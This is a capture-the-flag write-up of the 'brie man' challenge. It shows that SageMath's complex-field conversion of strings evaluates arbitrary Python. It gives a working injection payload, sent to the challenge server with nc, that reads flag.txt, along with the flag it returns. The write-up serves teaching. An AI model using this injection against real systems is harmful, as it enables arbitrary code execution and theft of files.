Summary: Sagemath contains sinks that allow for the arbitrary execution of Python code when converting from user input to math objects.

Challenge Prompt

brie man
by yyyyyyy
misc
Difficulty estimate: easy - easy

Points: round(1000 · min(1, 10 / (9 + [39 solves]))) = 208 points

Description:
Do you ever dream of solving a famous open question?

(Now that we have your attention: Sorry, this challenge has nothing to do with Brie. 🧀)

Download:
brie man-b6db7372d539e8b7.tar.xz (13.5 KiB)

Connection (mirrors):
nc 65.108.178.230 7904

Attachment: challenge file

Solution

The following sage file is given. It appears to want us to find a counterexample to the Riemann Hypothesis, one of the math problems included in the Millenium Prizes. It can surmised we’re not supposed to actually find a counterexample.

#!/usr/bin/env sage
import re

if sys.version_info.major < 3:
    print('nope nope nope nope | https://hxp.io/blog/72')
    exit(-2)

rx = re.compile(r'Dear Bernhard: Your conjecture is false, for ([^ ]{,40}) is a counterexample\.')

s = CC.to_prec(160)(rx.match(input()).groups()[0])

r = round(s.real())
assert not all((s==r, r<0, r%2==0))     # boring

assert not s.real() == 1/2              # boring

assert zeta(s) == 0                     # uhm ok
print(open('flag.txt').read().strip())

Furthermore, the link printed when Python 2 is detected also gives us a clue that we may need to look for an arbitrary Python code evaluation sink.

Experimenting with CC.to_prec(160) shows that it converts strings to complex fields.

sage: CC.to_prec(160)("1.0")
1.0000000000000000000000000000000000000000000000

It appears to perform arithmetic and attempt to resolve Python symbols.

sage: CC.to_prec(160)("1 + 1")
2.0000000000000000000000000000000000000000000000
sage: CC.to_prec(160)("A")
...
/var/tmp/sage-9.4-current/local/lib/python3.9/site-packages/sage/all.py in <module>

NameError: name 'A' is not defined

Attempting some Python code results in it actually executing.

sage: CC.to_prec(160)("print('hello world')")
helloworld
NaN + NaN*I
sage:

Thus, the flag read code can be simply provided to obtain the flag:

$ nc 65.108.178.230 7904
Dear Bernhard: Your conjecture is false, for print(open('flag.txt').read().strip()) is a counterexample.
hxp{0NE_M1LL10N_D0LLAR5}

Flag: hxp{0NE_M1LL10N_D0LLAR5}

Leave a Comment